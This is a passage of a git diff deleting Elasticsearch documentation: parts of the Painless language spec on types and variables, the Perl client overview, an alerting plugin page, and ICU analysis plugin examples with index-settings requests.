-in correspondence with the reference type object name to call a static member
-method. No reference type instance allocation is necessary to use a static
-member method.
-
-non-static member method::
-
-A non-static member method is a <<painless-functions, function>> called on a
-reference type *instance*. A non-static member method called on a reference type
-instance can load from and store to non-static member fields of that specific
-reference type instance. Use the <<method-call-operator, method call operator>>
-in correspondence with a specific reference type instance to call a non-static
-member method. An allocated reference type instance is required to use a
-non-static member method.
-
-constructor::
-
-A constructor is a special type of <<painless-functions, function>> used to
-allocate a reference type *instance* defined by a specific reference type
-*object*. Use the <<new-instance-operator, new instance operator>> to allocate
-a reference type instance.
-
-A reference type object follows a basic inheritance model. Consider types A and
-B. Type A is considered to be a parent of B, and B a child of A, if B inherits
-(is able to access as its own) all of A's non-static members. Type B is
-considered a descendant of A if there exists a recursive parent-child
-relationship from B to A with none to many types in between. In this case, B
-inherits all of A's non-static members along with all of the non-static members
-of the types in between. Type B is also considered to be a type A in both
-relationships.
-
-*Examples*
-
-* Reference types evaluated in several different operations.
-+
-[source,Painless]
-----
-List l = new ArrayList(); <1>
-l.add(1);                 <2>
-int i = l.get(0) + 2;     <3>
-----
-+
-<1> declare `List l`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `l`
-<2> load from `l` -> `List reference`;
-    implicit cast `int 1` to `def` -> `def`
-    call `add` on `List reference` with arguments (`def`)
-<3> declare `int i`;
-    load from `l` -> `List reference`;
-    call `get` on `List reference` with arguments (`int 0`) -> `def`;
-    implicit cast `def` to `int 1` -> `int 1`;
-    add `int 1` and `int 2` -> `int 3`;
-    store `int 3` to `i`
-+
-* Sharing a reference type instance.
-+
-[source,Painless]
-----
-List l0 = new ArrayList();     <1>
-List l1 = l0;                  <2>
-l0.add(1);                     <3>
-l1.add(2);                     <4>
-int i = l1.get(0) + l0.get(1); <5>
-----
-+
-<1> declare `List l0`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `l0`
-<2> declare `List l1`;
-    load from `l0` -> `List reference`;
-    store `List reference` to `l1`
-    (note `l0` and `l1` refer to the same instance known as a shallow-copy)
-<3> load from `l0` -> `List reference`;
-    implicit cast `int 1` to `def` -> `def`
-    call `add` on `List reference` with arguments (`def`)
-<4> load from `l1` -> `List reference`;
-    implicit cast `int 2` to `def` -> `def`
-    call `add` on `List reference` with arguments (`def`)
-<5> declare `int i`;
-    load from `l0` -> `List reference`;
-    call `get` on `List reference` with arguments (`int 0`) -> `def @0`;
-    implicit cast `def @0` to `int 1` -> `int 1`;
-    load from `l1` -> `List reference`;
-    call `get` on `List reference` with arguments (`int 1`) -> `def @1`;
-    implicit cast `def @1` to `int 2` -> `int 2`;
-    add `int 1` and `int 2` -> `int 3`;
-    store `int 3` to `i`;
-+
-* Using the static members of a reference type.
-+
-[source,Painless]
-----
-int i = Integer.MAX_VALUE;       <1>
-long l = Long.parseLong("123L"); <2>
-----
-+
-<1> declare `int i`;
-    load from `MAX_VALUE` on `Integer` -> `int 2147483647`;
-    store `int 2147483647` to `i`
-<2> declare `long l`;
-    call `parseLong` on `Long` with arguments (`long 123`) -> `long 123`;
-    store `long 123` to `l`
-
-[[dynamic-types]]
-==== Dynamic Types
-
-A dynamic type value can represent the value of any primitive type or
-reference type using a single type name `def`. A `def` type value mimics
-the behavior of whatever value it represents at run-time and will always
-represent the child-most descendant type value of any type value when evaluated
-during operations.
-
-Declare a `def` type <<painless-variables, variable>> or access a `def` type
-member field (from a reference type instance), and assign it any type of value
-for evaluation during later operations. The default value for a newly-declared
-`def` type variable is `null`.  A `def` type variable or method/function
-parameter can change the type it represents during the compilation and
-evaluation of a script.
-
-Using the `def` type can have a slight impact on performance. Use only primitive
-types and reference types directly when performance is critical.
-
-*Errors*
-
-* If a `def` type value represents an inappropriate type for evaluation of an
-  operation at run-time.
-
-*Examples*
-
-* General uses of the `def` type.
-+
-[source,Painless]
-----
-def dp = 1;               <1>
-def dr = new ArrayList(); <2>
-dr = dp;                  <3>
-----
-+
-<1> declare `def dp`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `dp`
-<2> declare `def dr`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `def` -> `def`;
-    store `def` to `dr`
-<3> load from `dp` -> `def`;
-    store `def` to `dr`;
-    (note the switch in the type `dr` represents from `ArrayList` to `int`)
-+
-* A `def` type value representing the child-most descendant of a value.
-+
-[source,Painless]
-----
-Object l = new ArrayList(); <1>
-def d = l;                  <2>
-d.ensureCapacity(10);       <3>
-----
-+
-<1> declare `Object l`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `Object reference`
-            -> `Object reference`;
-    store `Object reference` to `l`
-<2> declare `def d`;
-    load from `l` -> `Object reference`;
-    implicit cast `Object reference` to `def` -> `def`;
-    store `def` to `d`;
-<3> load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    call `ensureCapacity` on `ArrayList reference` with arguments (`int 10`);
-    (note `def` was implicit cast to `ArrayList reference`
-            since ArrayList` is the child-most descendant type value that the
-            `def` type value represents)
-
-[[string-type]]
-==== String Type
-
-The `String` type is a specialized reference type that does not require
-explicit allocation. Use a <<string-literals, string literal>> to directly
-evaluate a `String` type value. While not required, the
-<<new-instance-operator, new instance operator>> can allocate `String` type
-instances.
-
-*Examples*
-
-* General use of the `String` type.
-+
-[source,Painless]
-----
-String r = "some text";             <1>
-String s = 'some text';             <2>
-String t = new String("some text"); <3>
-String u;                           <4>
-----
-+
-<1> declare `String r`;
-    store `String "some text"` to `r`
-<2> declare `String s`;
-    store `String 'some text'` to `s`
-<3> declare `String t`;
-    allocate `String` instance with arguments (`String "some text"`)
-            -> `String "some text"`;
-    store `String "some text"` to `t`
-<4> declare `String u`;
-    store default `null` to `u`
-
-[[void-type]]
-==== void Type
-
-The `void` type represents the concept of a lack of type. Use the `void` type to
-indicate a function returns no value.
-
-*Examples*
-
-* Use of the `void` type in a function.
-+
-[source,Painless]
-----
-void addToList(List l, def d) {
-    l.add(d);
-}
-----
-
-[[array-type]]
-==== Array Type
-
-An array type is a specialized reference type where an array type instance
-contains a series of values allocated to the heap. Each value in an array type
-instance is defined as an element. All elements in an array type instance are of
-the same type (element type) specified as part of declaration. Each element is
-assigned an index within the range `[0, length)` where length is the total
-number of elements allocated for an array type instance.
-
-Use the <<new-array-operator, new array operator>> or the
-<<array-initialization-operator, array initialization operator>> to allocate an
-array type instance. Declare an array type <<painless-variables, variable>> or
-access an array type member field (from a reference type instance), and assign
-it an array type value for evaluation during later operations. The default value
-for a newly-declared array type variable is `null`. An array type value is
-shallow-copied during an assignment or as an argument for a method/function
-call. Assign `null` to an array type variable to indicate the array type value
-refers to no array type instance. The JVM will garbage collect an array type
-instance when it is no longer referred to by any array type values. Pass `null`
-as an argument to a method/function call to indicate the argument refers to no
-array type instance.
-
-Use the <<array-length-operator, array length operator>> to retrieve the length
-of an array type value as an `int` type value. Use the
-<<array-access-operator, array access operator>> to load from and store to
-an individual element within an array type instance.
-
-When an array type instance is allocated with multiple dimensions using the
-range `[2, d]` where `d >= 2`, each element within each dimension in the range
-`[1, d-1]` is also an array type. The element type of each dimension, `n`, is an
-array type with the number of dimensions equal to `d-n`. For example, consider
-`int[][][]` with 3 dimensions. Each element in the 3rd dimension, `d-3`, is the
-primitive type `int`.  Each element in the 2nd dimension, `d-2`, is the array
-type `int[]`. And each element in the 1st dimension, `d-1` is the array type
-`int[][]`.
-
-*Examples*
-
-* General use of single-dimensional arrays.
-+
-[source,Painless]
-----
-int[] x;                   <1>
-float[] y = new float[10]; <2>
-def z = new float[5];      <3>
-y[9] = 1.0F;               <4>
-z[0] = y[9];               <5>
-----
-+
-<1> declare `int[] x`;
-    store default `null` to `x`
-<2> declare `float[] y`;
-    allocate `1-d float array` instance with `length [10]`
-            -> `1-d float array reference`;
-    store `1-d float array reference` to `y`
-<3> declare `def z`;
-    allocate `1-d float array` instance with `length [5]`
-            -> `1-d float array reference`;
-    implicit cast `1-d float array reference` to `def` -> `def`;
-    store `def` to `z`
-<4> load from `y` -> `1-d float array reference`;
-    store `float 1.0` to `index [9]` of `1-d float array reference`
-<5> load from `y` -> `1-d float array reference @0`;
-    load from `index [9]` of `1-d float array reference @0` -> `float 1.0`;
-    load from `z` -> `def`;
-    implicit cast `def` to `1-d float array reference @1`
-            -> `1-d float array reference @1`;
-    store `float 1.0` to `index [0]` of `1-d float array reference @1`
-+
-* General use of a multi-dimensional array.
-+
-[source,Painless]
-----
-int[][][] ia3 = new int[2][3][4]; <1>
-ia3[1][2][3] = 99;                <2>
-int i = ia3[1][2][3];             <3>
-----
-+
-<1> declare `int[][][] ia`;
-    allocate `3-d int array` instance with length `[2, 3, 4]`
-            -> `3-d int array reference`;
-    store `3-d int array reference` to `ia3`
-<2> load from `ia3` -> `3-d int array reference`;
-    store `int 99` to `index [1, 2, 3]` of `3-d int array reference`
-<3> declare `int i`;
-    load from `ia3` -> `3-d int array reference`;
-    load from `index [1, 2, 3]` of `3-d int array reference` -> `int 99`;
-    store `int 99` to `i`
diff --git a/docs/painless/painless-lang-spec/painless-variables.asciidoc b/docs/painless/painless-lang-spec/painless-variables.asciidoc
deleted file mode 100644
index d86b8ba1721..00000000000
--- a/docs/painless/painless-lang-spec/painless-variables.asciidoc
+++ /dev/null
@@ -1,204 +0,0 @@
-[[painless-variables]]
-=== Variables
-
-A variable loads and stores a value for evaluation during
-<<painless-operators, operations>>.
-
-[[variable-declaration]]
-==== Declaration
-
-Declare a variable before use with the format of <<painless-types, type>>
-followed by <<painless-identifiers, identifier>>. Declare an
-<<array-type, array type>> variable using an opening `[` token and a closing `]`
-token for each dimension directly after the identifier. Specify a
-comma-separated list of identifiers following the type to declare multiple
-variables in a single statement. Use an
-<<variable-assignment, assignment operator>> combined with a declaration to
-immediately assign a value to a variable. A variable not immediately assigned a
-value will have a default value assigned implicitly based on the type.
-
-*Errors*
-
-* If a variable is used prior to or without declaration.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-declaration : type ID assignment? (',' ID assignment?)*;
-type: ID ('.' ID)* ('[' ']')*;
-assignment: '=' expression;
-----
-
-*Examples*
-
-* Different variations of variable declaration.
-+
-[source,Painless]
-----
-int x;           <1>
-List y;          <2>
-int x, y = 5, z; <3>
-def d;           <4>
-int i = 10;      <5>
-float[] f;       <6>
-Map[][] m;       <7>
-----
-+
-<1> declare `int x`;
-    store default `null` to `x`
-<2> declare `List y`;
-    store default `null` to `y`
-<3> declare `int x`;
-    store default `int 0` to `x`;
-    declare `int y`;
-    store `int 5` to `y`;
-    declare `int z`;
-    store default `int 0` to `z`;
-<4> declare `def d`;
-    store default `null` to `d`
-<5> declare `int i`;
-    store `int 10` to `i`
-<6> declare `float[] f`;
-    store default `null` to `f`
-<7> declare `Map[][] m`;
-    store default `null` to `m`
-
-[[variable-assignment]]
-==== Assignment
-
-Use the `assignment operator '='` to store a value in a variable for use in
-subsequent operations. Any operation that produces a value can be assigned to
-any variable as long as the <<painless-types, types>> are the same or the
-resultant type can be <<painless-casting, implicitly cast>> to the variable
-type.
-
-*Errors*
-
-* If the type of value is unable to match the type of variable.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-assignment: ID '=' expression
-----
-
-*Examples*
-
-* Variable assignment with an integer literal.
-+
-[source,Painless]
-----
-int i;  <1>
-i = 10; <2>
-----
-+
-<1> declare `int i`;
-    store default `int 0` to `i`
-<2> store `int 10` to `i`
-+
-* Declaration combined with immediate assignment.
-+
-[source,Painless]
-----
-int i = 10;     <1>
-double j = 2.0; <2>
-----
-+
-<1> declare `int i`;
-    store `int 10` to `i`
-<2> declare `double j`;
-    store `double 2.0` to `j`
-+
-* Assignment of one variable to another using primitive type values.
-+
-[source,Painless]
-----
-int i = 10; <1>
-int j = i;  <2>
-----
-+
-<1> declare `int i`;
-    store `int 10` to `i`
-<2> declare `int j`;
-    load from `i` -> `int 10`;
-    store `int 10` to `j`
-+
-* Assignment with reference types using the
-  <<new-instance-operator, new instance operator>>.
-+
-[source,Painless]
-----
-ArrayList l = new ArrayList(); <1>
-Map m = new HashMap();         <2>
-----
-+
-<1> declare `ArrayList l`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    store `ArrayList reference` to `l`
-<2> declare `Map m`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `Map reference` -> `Map reference`;
-    store `Map reference` to `m`
-+
-* Assignment of one variable to another using reference type values.
-+
-[source,Painless]
-----
-List l = new ArrayList(); <1>
-List k = l;               <2>
-List m;                   <3>
-m = k;                    <4>
-----
-+
-<1> declare `List l`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `l`
-<2> declare `List k`;
-    load from `l` -> `List reference`;
-    store `List reference` to `k`;
-    (note `l` and `k` refer to the same instance known as a shallow-copy)
-<3> declare `List m`;
-    store default `null` to `m`
-<4> load from `k` -> `List reference`;
-    store `List reference` to `m`;
-    (note `l`, `k`, and `m` refer to the same instance)
-+
-* Assignment with array type variables using the
-  <<new-array-operator, new array operator>>.
-+
-[source,Painless]
-----
-int[] ia1;                   <1>
-ia1 = new int[2];            <2>
-ia1[0] = 1;                  <3>
-int[] ib1 = ia1;             <4>
-int[][] ic2 = new int[2][5]; <5>
-ic2[1][3] = 2;               <6>
-ic2[0] = ia1;                <7>
-----
-+
-<1> declare `int[] ia1`;
-    store default `null` to `ia1`
-<2> allocate `1-d int array` instance with `length [2]`
-            -> `1-d int array reference`;
-    store `1-d int array reference` to `ia1`
-<3> load from `ia1` -> `1-d int array reference`;
-    store `int 1` to `index [0]` of `1-d int array reference`
-<4> declare `int[] ib1`;
-    load from `ia1` -> `1-d int array reference`;
-    store `1-d int array reference` to `ib1`;
-    (note `ia1` and `ib1` refer to the same instance known as a shallow copy)
-<5> declare `int[][] ic2`;
-    allocate `2-d int array` instance with `length [2, 5]`
-            -> `2-d int array reference`;
-    store `2-d int array reference` to `ic2`
-<6> load from `ic2` -> `2-d int array reference`;
-    store `int 2` to `index [1, 3]` of `2-d int array reference`
-<7> load from `ia1` -> `1-d int array reference`;
-    load from `ic2` -> `2-d int array reference`;
-    store `1-d int array reference` to
-            `index [0]` of `2-d int array reference`;
-    (note `ia1`, `ib1`, and `index [0]` of `ia2` refer to the same instance)
diff --git a/docs/painless/redirects.asciidoc b/docs/painless/redirects.asciidoc
deleted file mode 100644
index 94dd5524e9a..00000000000
--- a/docs/painless/redirects.asciidoc
+++ /dev/null
@@ -1,9 +0,0 @@
-["appendix",role="exclude",id="redirects"]
-= Deleted pages
-
-The following pages have moved or been deleted.
-
-[role="exclude",id="painless-examples"]
-=== Painless examples
-
-See <<painless-walkthrough, Painless walkthrough>>.
\ No newline at end of file
diff --git a/docs/perl/index.asciidoc b/docs/perl/index.asciidoc
deleted file mode 100644
index d009b3d0460..00000000000
--- a/docs/perl/index.asciidoc
+++ /dev/null
@@ -1,124 +0,0 @@
-= Elasticsearch.pm
-
-== Overview
-
-Search::Elasticsearch is the official Perl API for Elasticsearch. The full
-documentation is available on https://metacpan.org/module/Search::Elasticsearch.
-
-It can be installed with:
-
-[source,sh]
-------------------------------------
-cpanm Search::Elasticsearch
-------------------------------------
-
-=== Features
-
-This client provides:
-
-* Full support for all Elasticsearch APIs
-
-* HTTP backend (blocking and asynchronous with https://metacpan.org/module/Search::Elasticsearch::Async)
-
-* Robust networking support which handles load balancing, failure detection and failover
-
-* Good defaults
-
-* Helper utilities for more complex operations, such as bulk indexing, scrolled searches and reindexing.
-
-* Logging support via Log::Any
-
-* Compatibility with the official clients for Python, Ruby, PHP and JavaScript
-
-* Easy extensibility
-
-== Synopsis
-
-[source,perl]
-------------------------------------
-use Search::Elasticsearch;
-
-# Connect to localhost:9200:
-my $e = Search::Elasticsearch->new();
-
-# Round-robin between two nodes:
-my $e = Search::Elasticsearch->new(
-    nodes => [
-        'search1:9200',
-        'search2:9200'
-    ]
-);
-
-# Connect to cluster at search1:9200, sniff all nodes and round-robin between them:
-my $e = Search::Elasticsearch->new(
-    nodes    => 'search1:9200',
-    cxn_pool => 'Sniff'
-);
-
-# Index a document:
-$e->index(
-    index   => 'my_app',
-    type    => 'blog_post',
-    id      => 1,
-    body    => {
-        title   => 'Elasticsearch clients',
-        content => 'Interesting content...',
-        date    => '2014-09-24'
-    }
-);
-
-# Get the document:
-my $doc = $e->get(
-    index   => 'my_app',
-    type    => 'blog_post',
-    id      => 1
-);
-
-# Search:
-my $results = $e->search(
-    index => 'my_app',
-    body  => {
-        query => {
-            match => { title => 'elasticsearch' }
-        }
-    }
-);
-------------------------------------
-
-[[v0_90]]
-== Elasticsearch 0.90.* and earlier
-
-The current version of the client supports the Elasticsearch 1.0 branch by
-default, which is not backwards compatible with the 0.90 branch.
-
-If you need to talk to a version of Elasticsearch before 1.0.0,
-please use `Search::Elasticsearch::Client::0_90::Direct` as follows:
-
-[source,perl]
-------------------------------------
-    $es = Search::Elasticsearch->new(
-        client => '0_90::Direct'
-    );
-------------------------------------
-
-
-== Reporting issues
-
-The GitHub repository is https://github.com/elastic/elasticsearch-perl
-and any issues can be reported on the issues list at
-https://github.com/elastic/elasticsearch-perl/issues.
-
-== Contributing
-
-Open source contributions are welcome. Please read our
-https://github.com/elastic/elasticsearch-perl/blob/master/CONTRIBUTING.asciidoc[guide to contributing].
-
-== Copyright and License
-
-This software is Copyright (c) 2013-2018 by Elasticsearch BV.
-
-This is free software, licensed under:
-https://github.com/elastic/elasticsearch-perl/blob/master/LICENSE.txt[The Apache License Version 2.0].
-
-
-
diff --git a/docs/plugins/alerting.asciidoc b/docs/plugins/alerting.asciidoc
deleted file mode 100644
index a440b6b8367..00000000000
--- a/docs/plugins/alerting.asciidoc
+++ /dev/null
@@ -1,17 +0,0 @@
-[[alerting]]
-== Alerting Plugins
-
-Alerting plugins allow Elasticsearch to monitor indices and to trigger alerts when thresholds are breached.
-
-[discrete]
-=== Core alerting plugins
-
-The core alerting plugins are:
-
-link:/products/x-pack/alerting[X-Pack]::
-
-X-Pack contains the alerting and notification product for Elasticsearch that
-lets you take action based on changes in your data. It is designed around the
-principle that if you can query something in Elasticsearch, you can alert on
-it. Simply define a query, condition, schedule, and the actions to take, and
-X-Pack will do the rest.
diff --git a/docs/plugins/analysis-icu.asciidoc b/docs/plugins/analysis-icu.asciidoc
deleted file mode 100644
index a8041e47100..00000000000
--- a/docs/plugins/analysis-icu.asciidoc
+++ /dev/null
@@ -1,557 +0,0 @@
-[[analysis-icu]]
-=== ICU Analysis Plugin
-
-The ICU Analysis plugin integrates the Lucene ICU module into {es},
-adding extended Unicode support using the http://site.icu-project.org/[ICU]
-libraries, including better analysis of Asian languages, Unicode
-normalization, Unicode-aware case folding, collation support, and
-transliteration.
-
-[IMPORTANT]
-.ICU analysis and backwards compatibility
-================================================
-
-From time to time, the ICU library receives updates such as adding new
-characters and emojis, and improving collation (sort) orders.  These changes
-may or may not affect search and sort orders, depending on which characters
-sets you are using.
-
-While we restrict ICU upgrades to major versions, you may find that an index
-created in the previous major version will need to be reindexed in order to
-return correct (and correctly ordered) results, and to take advantage of new
-characters.
-
-================================================
-
-:plugin_name: analysis-icu
-include::install_remove.asciidoc[]
-
-[[analysis-icu-analyzer]]
-==== ICU Analyzer
-
-The `icu_analyzer` analyzer performs basic normalization, tokenization and character folding, using the
-`icu_normalizer` char filter, `icu_tokenizer` and `icu_folding` token filter
-
-The following parameters are accepted:
-
-[horizontal]
-
-`method`::
-
-    Normalization method.  Accepts `nfkc`, `nfc` or `nfkc_cf` (default)
-
-`mode`::
-
-    Normalization mode.  Accepts `compose` (default) or `decompose`.
-
-[[analysis-icu-normalization-charfilter]]
-==== ICU Normalization Character Filter
-
-Normalizes characters as explained
-http://userguide.icu-project.org/transforms/normalization[here].
-It registers itself as the `icu_normalizer` character filter, which is
-available to all indices without any further configuration. The type of
-normalization can be specified with the `name` parameter, which accepts `nfc`,
-`nfkc`, and `nfkc_cf` (default).  Set the `mode` parameter to `decompose` to
-convert `nfc` to `nfd` or `nfkc` to `nfkd` respectively:
-
-Which letters are normalized can be controlled by specifying the
-`unicode_set_filter` parameter, which accepts a
-https://icu-project.org/apiref/icu4j/com/ibm/icu/text/UnicodeSet.html[UnicodeSet].
-
-Here are two examples, the default usage and a customised character filter:
-
-
-[source,console]
---------------------------------------------------
-PUT icu_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "nfkc_cf_normalized": { <1>
-            "tokenizer": "icu_tokenizer",
-            "char_filter": [
-              "icu_normalizer"
-            ]
-          },
-          "nfd_normalized": { <2>
-            "tokenizer": "icu_tokenizer",
-            "char_filter": [
-              "nfd_normalizer"
-            ]
-          }
-        },
-        "char_filter": {
-          "nfd_normalizer": {
-            "type": "icu_normalizer",
-            "name": "nfc",
-            "mode": "decompose"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Uses the default `nfkc_cf` normalization.
-<2> Uses the customized `nfd_normalizer` token filter, which is set to use `nfc` normalization with decomposition.
-
-[[analysis-icu-tokenizer]]
-==== ICU Tokenizer
-
-Tokenizes text into words on word boundaries, as defined in
-https://www.unicode.org/reports/tr29/[UAX #29: Unicode Text Segmentation].
-It behaves much like the {ref}/analysis-standard-tokenizer.html[`standard` tokenizer],
-but adds better support for some Asian languages by using a dictionary-based
-approach to identify words in Thai, Lao, Chinese, Japanese, and Korean, and
-using custom rules to break Myanmar and Khmer text into syllables.
-
-[source,console]
---------------------------------------------------
-PUT icu_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_icu_analyzer": {
-            "tokenizer": "icu_tokenizer"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-===== Rules customization
-
-experimental[This functionality is marked as experimental in Lucene]
-
-You can customize the `icu-tokenizer` behavior by specifying per-script rule files, see the
-http://userguide.icu-project.org/boundaryanalysis#TOC-RBBI-Rules[RBBI rules syntax reference]
-for a more detailed explanation.
-
-To add icu tokenizer rules, set the `rule_files` settings, which should contain a comma-separated list of
-`code:rulefile` pairs in the following format:
-https://unicode.org/iso15924/iso15924-codes.html[four-letter ISO 15924 script code],
-followed by a colon, then a rule file name. Rule files are placed `ES_HOME/config` directory.
-
-As a demonstration of how the rule files can be used, save the following user file to `$ES_HOME/config/KeywordTokenizer.rbbi`:
-
-[source,text]
------------------------
-.+ {200};
------------------------
-
-Then create an analyzer to use this rule file as follows:
-
-[source,console]
---------------------------------------------------
-PUT icu_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "tokenizer": {
-          "icu_user_file": {
-            "type": "icu_tokenizer",
-            "rule_files": "Latn:KeywordTokenizer.rbbi"
-          }
-        },
-        "analyzer": {
-          "my_analyzer": {
-            "type": "custom",
-            "tokenizer": "icu_user_file"
-          }
-        }
-      }
-    }
-  }
-}
-
-GET icu_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "Elasticsearch. Wow!"
-}
---------------------------------------------------
-
-The above `analyze` request returns the following:
-
-[source,console-result]
---------------------------------------------------
-{
-   "tokens": [
-      {
-         "token": "Elasticsearch. Wow!",
-         "start_offset": 0,
-         "end_offset": 19,
-         "type": "<ALPHANUM>",
-         "position": 0
-      }
-   ]
-}
---------------------------------------------------
-
-
-[[analysis-icu-normalization]]
-==== ICU Normalization Token Filter
-
-Normalizes characters as explained
-http://userguide.icu-project.org/transforms/normalization[here]. It registers
-itself as the `icu_normalizer` token filter, which is available to all indices
-without any further configuration. The type of normalization can be specified
-with the `name` parameter, which accepts `nfc`, `nfkc`, and `nfkc_cf`
-(default).
-
-Which letters are normalized can be controlled by specifying the
-`unicode_set_filter` parameter, which accepts a
-https://icu-project.org/apiref/icu4j/com/ibm/icu/text/UnicodeSet.html[UnicodeSet].
-
-You should probably prefer the <<analysis-icu-normalization-charfilter,Normalization character filter>>.
-
-Here are two examples, the default usage and a customised token filter:
-
-[source,console]
---------------------------------------------------
-PUT icu_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "nfkc_cf_normalized": { <1>
-            "tokenizer": "icu_tokenizer",
-            "filter": [
-              "icu_normalizer"
-            ]
-          },
-          "nfc_normalized": { <2>
-            "tokenizer": "icu_tokenizer",
-            "filter": [
-              "nfc_normalizer"
-            ]
-          }
-        },
-        "filter": {
-          "nfc_normalizer": {
-            "type": "icu_normalizer",
-            "name": "nfc"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Uses the default `nfkc_cf` normalization.
-<2> Uses the customized `nfc_normalizer` token filter, which is set to use `nfc` normalization.
-
-
-[[analysis-icu-folding]]
-==== ICU Folding Token Filter
-
-Case folding of Unicode characters based on `UTR#30`, like the
-{ref}/analysis-asciifolding-tokenfilter.html[ASCII-folding token filter]
-on steroids. It registers itself as the `icu_folding` token filter and is
-available to all indices:
-
-[source,console]
---------------------------------------------------
-PUT icu_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "folded": {
-            "tokenizer": "icu_tokenizer",
-            "filter": [
-              "icu_folding"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The ICU folding token filter already does Unicode normalization, so there is
-no need to use Normalize character or token filter as well.
-
-Which letters are folded can be controlled by specifying the
-`unicode_set_filter` parameter, which accepts a
-https://icu-project.org/apiref/icu4j/com/ibm/icu/text/UnicodeSet.html[UnicodeSet].
-
-The following example exempts Swedish characters from folding. It is important
-to note that both upper and lowercase forms should be specified, and that
-these filtered character are not lowercased which is why we add the
-`lowercase` filter as well:
-
-[source,console]
---------------------------------------------------
-PUT icu_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "swedish_analyzer": {
-            "tokenizer": "icu_tokenizer",
-            "filter": [
-              "swedish_folding",
-              "lowercase"
-            ]
-          }
-        },
-        "filter": {
-          "swedish_folding": {
-            "type": "icu_folding",
-            "unicode_set_filter": "[^åäöÅÄÖ]"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[[analysis-icu-collation]]
-==== ICU Collation Token Filter
-
-[WARNING]
-======
-This token filter has been deprecated since Lucene 5.0.  Please use
-<<analysis-icu-collation-keyword-field, ICU Collation Keyword Field>>.
-======
-
-[[analysis-icu-collation-keyword-field]]
-==== ICU Collation Keyword Field
-
-Collations are used for sorting documents in a language-specific word order.
-The `icu_collation_keyword` field type is available to all indices and will encode
-the terms directly as bytes in a doc values field and a single indexed token just
-like a standard {ref}/keyword.html[Keyword Field].
-
-Defaults to using {defguide}/sorting-collations.html#uca[DUCET collation],
-which is a best-effort attempt at language-neutral sorting.
-
-Below is an example of how to set up a field for sorting German names in
-``phonebook'' order:
-
-[source,console]
---------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "name": {   <1>
-        "type": "text",
-        "fields": {
-          "sort": {  <2>
-            "type": "icu_collation_keyword",
-            "index": false,
-            "language": "de",
-            "country": "DE",
-            "variant": "@collation=phonebook"
-          }
-        }
-      }
-    }
-  }
-}
-
-GET /my-index-000001/_search <3>
-{
-  "query": {
-    "match": {
-      "name": "Fritz"
-    }
-  },
-  "sort": "name.sort"
-}
-
---------------------------
-
-<1> The `name` field uses the `standard` analyzer, and so support full text queries.
-<2> The `name.sort` field is an `icu_collation_keyword` field that will preserve the name as
-    a single token doc values, and applies the German ``phonebook'' order.
-<3> An example query which searches the `name` field and sorts on the `name.sort` field.
-
-===== Parameters for ICU Collation Keyword Fields
-
-The following parameters are accepted by `icu_collation_keyword` fields:
-
-[horizontal]
-
-`doc_values`::
-
-    Should the field be stored on disk in a column-stride fashion, so that it
-    can later be used for sorting, aggregations, or scripting? Accepts `true`
-    (default) or `false`.
-
-`index`::
-
-    Should the field be searchable? Accepts `true` (default) or `false`.
-
-`null_value`::
-
-    Accepts a string value which is substituted for any explicit `null`
-    values.  Defaults to `null`, which means the field is treated as missing.
-
-{ref}/ignore-above.html[`ignore_above`]::
-
-    Strings longer than the `ignore_above` setting will be ignored.
-    Checking is performed on the original string before the collation.
-    The `ignore_above` setting can be updated on existing fields
-    using the {ref}/indices-put-mapping.html[PUT mapping API].
-    By default, there is no limit and all values will be indexed.
-
-`store`::
-
-    Whether the field value should be stored and retrievable separately from
-    the {ref}/mapping-source-field.html[`_source`] field. Accepts `true` or `false`
-    (default).
-
-`fields`::
-
-    Multi-fields allow the same string value to be indexed in multiple ways for
-    different purposes, such as one field for search and a multi-field for
-    sorting and aggregations.
-
-===== Collation options
-
-`strength`::
-
-The strength property determines the minimum level of difference considered
-significant during comparison. Possible values are : `primary`, `secondary`,
-`tertiary`, `quaternary` or `identical`. See the
-https://icu-project.org/apiref/icu4j/com/ibm/icu/text/Collator.html[ICU Collation documentation]
-for a more detailed  explanation for each value.  Defaults to `tertiary`
-unless otherwise specified in the collation.
-
-`decomposition`::
-
-Possible values: `no` (default, but collation-dependent) or `canonical`.
-Setting this decomposition property to `canonical` allows the Collator to
-handle unnormalized text properly, producing the same results as if the text
-were normalized. If `no` is set, it is the user's responsibility to insure
-that all text is already in the appropriate form before a comparison or before
-getting a CollationKey. Adjusting decomposition mode allows the user to select
-between faster and more complete collation behavior. Since a great many of the
-world's languages do not require text normalization, most locales set `no` as
-the default decomposition mode.
-
-The following options are expert only:
-
-`alternate`::
-
-Possible values: `shifted` or `non-ignorable`. Sets the alternate handling for
-strength `quaternary` to be either shifted or non-ignorable. Which boils down
-to ignoring punctuation and whitespace.
-
